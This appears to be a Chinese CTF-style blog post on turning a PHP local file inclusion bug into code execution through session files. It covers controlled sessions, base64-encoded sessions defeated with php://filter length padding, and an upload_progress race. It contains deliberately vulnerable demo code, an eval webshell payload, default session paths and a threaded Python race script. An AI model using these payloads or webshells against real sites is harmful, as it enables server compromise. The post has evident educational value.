0x00 前言
上文提到了利用upload_progress可以上传一个session,而且PHP默认地打开session.upload_progress.enabled
,并且里面有两个变量是我们可控的,那么除了利用处理器的不同从而造成反序列化漏洞,是不是还可以干点别的呢?
是的,如果一个网站存在文件包含漏洞,我们是不是可以直接写入PHP的代码到session中来构造shell,然后进行文件包含呢?
比了国赛才知道,利用session_upload_progress结合文件包含,是可以不需要session_start()的
0x01 理想实验
首先我们先拿一个session可控的理想的demo,进行测试:
构造session
index.php:
<?php
session_start();
$_SESSION['test'] = $_GET['payload'];
?>
lfi.php:
<?php
include($_GET['payload']);
?>
我们先在index.php中,把我们的php代码写入到session中:
这里我们可以改一下PHPSESSID
,然后就会生成名为sess_chenlvtang
的文件。PHP中session.use_strict_mode
是默认关闭的,当启用后,用户就不能自己设定ID。
检查一下
在session的存储文件夹中,查看一下是否成功:
进行文件包含
要进行文件包含,我们首先要知道session的保存路径,一般默认的路径有如下:
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
访问有文件包含漏洞的页面,并传参进行包含:
成功地实现了命令执行。但是,这只是理想情况下,我们此时可以控制session,并且没有什么过滤的条件。下面我们来看几种非理想的情况。
0x02 base64加密session
有的时候,服务端会对session进行base64加密,此时我们进行一般的包含的话,是不能将php代码进行解析的。但是我们可以利用伪协议,对文件内容进行base64的解码然后包含:php://filter/convert.base64-decode/resource=/var/lib/php/sessions/sess_chenlvtang
。
虽然如此,但是因为session中,不仅仅有base64,还有其他的序列化字符(如a:1{s:4:”test”;…})这时候,如果session前部分(指实际未编码部分)字节数不是4的倍数(4个字节的base64可以解码为3个字节),就会造成解码是乱码。而如果前部分能够恰好被解码,就能够完整的让后部分实际是base64加密的部分进行解码,那么,我们就能成功地将代码包含。
php中base64解码特性
我们知道base64,只有0-9a-zA-Z
加上+ /
或者补全=
,那么我们session中的:{};
等字符php会怎么解码呢?下面有一个demo:
可以看到,php在解析时,会忽略掉不属于base64编码的字符。这也就表明,我们在保证前部分是4的倍数的时候,要忽略掉这些字符来计算长度
不同处理器下不同的构造
由于php中不同的处理器形成的session存储形式的不同,所以我们在构造时,也要分开考虑
php处理器
这种处理器的格式,在前几篇文章说了: 键名+竖线+经过serialize()函数处理的值
上文的session,若经过这种处理器的处理,应为: test|s:16:"Y2hlbmx2dGFuZw==";
,所以我们需要考虑的就是test|s:16:"
。由上文可知,他的实际长度字符应为tests16
,总共是6字节,还差两字节;但是因为”test”和”s”,这两个是我们没法改变的,所以能改变只能是数字,也就是base64部分的长度,所以我们要让他成为三位数….
写个脚本吧:
<?php
$str = '<?php @eval($_REQUEST["chenlvtang"]);?>';
while(strlen(base64_encode($str))<=100){
$str = 'a'.$str;
}
echo $str;
print("\n");
printf(strlen(base64_encode($str)));
?>
输出为:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<?php @eval($_REQUEST["chenlvtang"]);?> 104
我们在demo里试试看:
首先先像理想实验一样进行传参,?payload=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<?php @eval($_REQUEST["chenlvtang"]);?>
这时候,我们可以进到对应目录看一下(如果你想的话),结果如下:
可以看到成功构造了前半部分是8字节,然后我们到有包含漏洞的地方进行实验:
这里我忘记抓包设置PHPSESSID了,不过问题不大,实际操作的时候记得抓包就行。
php_serialize处理器
这个处理器下的存储格式为:经过serialize()函数序列化数组
。一般长得像这样:a:1:{s:4:"test";s:15:"chenlvtangisFoo";}
,根据之前的分析,我们的实际长度字符实际是a1s4tests15
,总共长为11,还差一位,继续用上面得脚本和payload就行了。
总结
总而言之,在这种session可控的情况下,我们可以通过凑长度,来让base64加密过的session包含成功。但是这个利用点,最大的缺点也是这,需要一个可控的session,并且要知道他的键(如上文的 test)具体长度。所以,下文我们就要来看,在没有直接的session可控的情况下,我们要怎么利用session进行文件的包含。
0x03 利用uplaod_progress
上几篇文章在讲php的session反序列的时候,有讲到过upload_progress
。在我们没有可控的session时,我们可以利用upload_progress
上传一个session,并且里面有两(三)个参数是我们可控的;那么,既然我们可以利用处理器的不同,进行反序列化的利用,那我们是不是也可以写入代码,然后进行文件包含呢?
这里关于upload_progress的具体讲解,我就不说了,链接:PHP-Session反序列 | 沉铝汤的破站 (chenlvtang.top)
构造表单
和反序列化中的一样,我们先准备好一个表单
<form action="upload.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file1" />
<input type="submit" />
</form>
抓包+复制
然后在自己本地抓包,修改相应的数据(可以是文件名,也可以是input中设置的name),并让Reapter帮我们自动修改长度。
抓包+爆破
然后到目标网站,先抓包,修改数据后(记得加上关于cookie中phpsessid的设置),进行爆破(其实就是不断发包,因为这里cleanup是默认开启的):
用null payload,然后发包数,写大一点。
访问漏洞页面
同样的可以抓个包,然后疯狂请求有文件包含漏洞的页面,然而…………..
这里不知道为什么,我不管用这种爆破的方式,还是使用脚本,都不成功(cleanup为on的情况下),得到的session内容永远都是a:0:{},我怀疑这和windows有关,下面先放一下脚本吧
另外,不知道一开始burp怎么了,我设置了Cookie: PHPSESSID=xxx,他还是给我随机设置session,后来重启一个burp又好了,很迷,总之浪费我挺多时间的,最后还没复现成功,下次在linux下试一下
import io
import sys
import requests
import threading
sessid = 'chenlvtang'
def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
'http://test.hah',
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php eval('phpinfo();');?>"},
files={"file":('q.txt', f)},
cookies={'PHPSESSID':sessid}
)
def READ(session):
while True:
response = session.get(f'http://test.hah/lfi.php?payload=../../Extensions/tmp/tmp/sess_{sessid}')
# print('[+++]retry')
# print(response.text)
if 'session' not in response.text:
print('[+++]retry')
else:
print(response.text)
sys.exit(0)
with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()
READ(session)
0x04 参考文章
[浅谈 SESSION_UPLOAD_PROGRESS 的利用 | WHOAMI’s Blog (whoamianony.top)](https://whoamianony.top/2021/03/18/Web安全/浅谈 SESSION_UPLOAD_PROGRESS 的利用)